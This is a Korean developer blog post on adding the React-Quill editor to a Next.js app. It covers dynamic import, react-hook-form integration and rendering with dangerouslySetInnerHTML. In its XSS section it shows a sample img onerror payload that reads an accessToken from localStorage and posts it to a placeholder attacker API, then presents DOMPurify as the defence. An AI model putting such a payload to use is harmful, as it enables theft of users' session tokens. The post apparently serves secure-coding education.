웹 에디터 (React-quill)


  • input 과 textarea 태그를 사용해서 입력 칸을 만들 수 있지만, 클라이언트(사용자) 입장에서 폰트를 적용하거나 색상을 변경하는 등의 Option을 주기 어려움



  • 그 외에도 위와 같이 줄바꿈을 하고 입력을 해도 별도로 data 출력 시 줄바꿈에 대한 결과를 처리해 주지 않으면, 한 줄 처리가 됨

  • 웹 에디터 라이브러리를 사용하면 이런 단점들을 보완하여 더 스타일리쉬하게 내용을 작성할 수 있음
    *웹 에디터 라이브러리는 React-Quill, React Draft Wysiwyg, TOAST UI Editor 등이 있음






웹 에디터 적용하기 (React-Quill)



react-quill 설치


yarn add react-quill




react-quill import & 스타일 CSS 파일 import


import ReactQuill from 'react-quill';
import 'react-quill/dist/quill.snow.css';




  • 이후 사용하고 싶은 부분에 <ReactQuill />로 지정하면 웹 에디터를 사용 가능






import ReactQuill from "react-quill";
import "react-quill/dist/quill.snow.css";

export default function WebEditorPage() {
  const handleChange = (value: string) => {
    console.log(value);
  };

  return (
    <div>
      작성자: <input type="text" />
      <br />
      비밀번호: <input type="password" />
      <br />
      제목: <input type="text" />
      <br />
      내용: <ReactQuill onChange={handleChange} />
      <br />
      <button>등록하기</button>
    </div>
  );
}
  • 최종적으로 onChange 안에 함수를 넣고 해당 함수의 인자로 value를 받아올 수 있음
    *여기서 onChange는 기본적인 onChange 함수와는 다른, ReactQuill 개발자가 만들어 둔 커스텀 기능






    [BUT!] => 위와 같이 import하여 사용하려 하면 에러 발생!!

  • Next.js 는 기본적으로 서버사이드 렌더링(SSR)을 지원하기 때문에 프론트 서버에서 페이지를 렌더링하는 단계(pre-rendering)에서는 window 객체나 document(DOM)이 존재하지 않음

  • 이 상황에서 react-quill 을 import 하면 react-quill 이 아직 정의되지 않은 Document를 조작하려 하기 때문에 undefined 에러가 발생하는 것!!







    [해결방안] => dynamic import 사용

import dynamic from 'next/dynamic';

const ReactQuill = dynamic( async() => await import('react-quill'), {
    ssr : false    // ssr 중에는 import 하지 않겠다는 의미
})
  • Next.js 에서 제공하는 dynamic 을 사용해서, 모듈을 import하는 시점을 SSR(서버사이드 렌더링) 즉, Pre-rendering 이 끝나고 document가 정의된 이후로 지정할 수 있음


    *dynamic import를 사용해서 SSR 이슈 뿐만 아니라 성능최적화도 가능

    *반드시 다운받지 않아도 되는 부분은 dynamic import를 사용해서 필요시점에 다운받도록 하여 초기 다운속도를 향상시키고, 로딩속도 향상 가능



    [이런 식으로 필요한 시점에 import 해오는 것을 코드를 분리했다고 해서, 코드 스플릿팅(Code spliting)이라고 함]







+a) React-Quill, react-hook-form 과 연동해서 사용하기


```jsx
import { useForm } from "react-hook-form";

// import ReactQuill from "react-quill"; // 다이나믹 임포트로 변경하기 !
import "react-quill/dist/quill.snow.css";
import dynamic from "next/dynamic";

const ReactQuill = dynamic(() => import("react-quill"), { ssr: false });

export default function WebEditorPage() {
  const { register } = useForm({
    mode: "onChange",
  });

  const handleChange = (value: string) => {
    console.log(value);
  };

  // if (process.browser) {
  //   console.log("나는 브라우저다 !!");
  // } else {
  //   console.log("나는 프론트엔드 서버다 !!");
  // }

  return (
    <div>
      작성자: <input type="text" {...register("writer")} />
      <br />
      비밀번호: <input type="password" {...register("password")} />
      <br />
      제목: <input type="text" {...register("title")} />
      <br />
      내용: <ReactQuill onChange={handleChange} />
      <br />
      <button>등록하기</button>
    </div>
  );
}
  • React-Quill 은 onchange 속성이 필수 입력값이기 때문에, react-hook-form 의 register가 적용되지 않음






const { register, setValue} = useForm({
    mode: "onChange",
  });

  const handleChange = (value: string) => {
    console.log(value);

    // register로 등록하지 않고, 강제로 값을 넣어주는 기능!!
    setValue("contents", value);
  };
  • 따라서 useForm에서 setValue 라는 기능을 꺼내와서 onChange에 바인딩되는 함수 안에 직접 값을 지정해 줌
    *onChange로 감지되는 입력값은 value로 전달되고, setValue 의 첫 번째 인자에 해당 값의 key값을, 2번째 인자에 value를 강제적으로 담음






const { register, setValue } = useForm({
    mode: "onChange",
  });

  const handleChange = (value: string) => {
    console.log(value);

    // register로 등록하지 않고, 강제로 값을 넣어주는 기능!!
    setValue("contents", value === "<p><br></p>" ? "" : value);
  };
  • 웹 에디터는 입력값을 태그로 인식하여 줄바꿈, 밑줄 등의 스타일을 주기 때문에 값을 입력했다가 다시 지우면 공백이 아닌 <p><br><p> 형태의 태그가 남아있게 됨


  • 따라서 빈 값을 입력했을 때 위의 태그가 화면에 표출되지 않도록 삼항 연산자로 value 값 "" 으로 지정








const { register, setValue, trigger } = useForm({
    mode: "onChange",
  });

  const handleChange = (value: string) => {
    console.log(value);

    // register로 등록하지 않고, 강제로 값을 넣어주는 기능!!
    setValue("contents", value === "<p><br></p>" ? "" : value);

    // onChange가 됐는지 안됐는지 react-hook-form에 알려주는 기능!!
    trigger("contents");
  };
  • 하지만 event를 감지하는 onChange 가 아닌 개발자가 직접 만든 기능이기에 값만 입력되었을 뿐 입력 여부는 검증되지 않음

  • 따라서 react-quill 에서 제공하는 trigger 를 사용하여 값의 변경 여부를 강제적으로 변경해줘야 함








웹 에디터로 등록한 게시글 화면에 표출하기

  • 웹 에디터로 작성한 내용은 HTML 태그를 포함한 문자열로 입력되기 때문에 화면에 출력할 때 해당 태그들은 노출시키지 않고 기능만 적용되도록 해야 함







  return (
    <div>
      <div>작성자: {data?.fetchBoard.writer}</div>
      <div>제목: {data?.fetchBoard.title}</div>
      <div dangerouslySetInnerHTML={{ __html: String(data?.fetchBoard.contents)}} />
    </div>
  );
}
  • 위와 같이 dangerouslySetInnerHTML 을 사용하면 태그의 화면 표출 부분에 HTML 태그를 직접적으로 삽입할 수 있음

  • dangerouslySetInnerHTML 은 여기 태그 안에서 표출되는 값은 HTML 문법을 적용시켜서 화면에 표출하겠다는 의미가 됨!





전체적인 흐름 요약








크로스 사이트 스크립트 (XSS)



  • 앞서 사용한 dangerouslySetInnerHTML 방식은 공격받을 가능성이 높은 매우 위험한 방식




dangerouslySetInnerHTML 방식의 공격 사례

<img src="#" onerror="
	const aaa = localStorage.getItem('accessToken');
	axios.post(해커API주소, {accessToken = aaa});
" />
  • dangerouslySetInnerHTML 로 작성할 경우, 해커가 입력값을 위와 같이 작성할 수 있음

  • # 이라는 형식은 src 형식에 맞지 않기 때문에 에러가 발생하고, 이에 따라 onerror 속성이 error에 대한 대체 방안으로 지정한 것을 실행해 줌

  • 이 때 만약 위 처럼 코드를 작성한다면, 해당 글이 작성된 페이지로 유저가 접속했을 때, 자신도 모르게 accessToken을 탈취 당할 수도 있음



    이처럼 사이트의 취약점을 노려서 악의적 코드를 브라우저에 심고, 사용자가 접속할 시 해당 악성코드가 실행되도록 하는 것을 크로스 사이트 스크립트 (Cross Site Script / XSS) 라고 함








XSS 공격에 대한 방어 - [Dompurify] 사용


  • editor를 사용해야 하는데 위와 같은 공격의 위험이 있을 경우, Dompurify 라는 라이브러리를 이용해서 공격코드 차단 가능




Dompurify 설치


yarn add dompurify
yarn add -D @types/dompurify





Dompurify 사용


{process.browser &&
	<div
		dangerouslySetInnerHTML={{
			__html: Dompurify.sanitize(String(data?.fetchBoard.contents))
		}}
	/>
}

  • 위와 같이 작성하면 해당 태그의 입력 표출 부분에 공격코드를 필터링 해 줌

  • Dompurify 또한 Document 에서 작동하기 때문에 위와 같이 조건부 렌더링을 설정하여 브라우저 환경에서만 해당 태그가 보여지도록 지정

profile
막 발걸음을 뗀 신입

0개의 댓글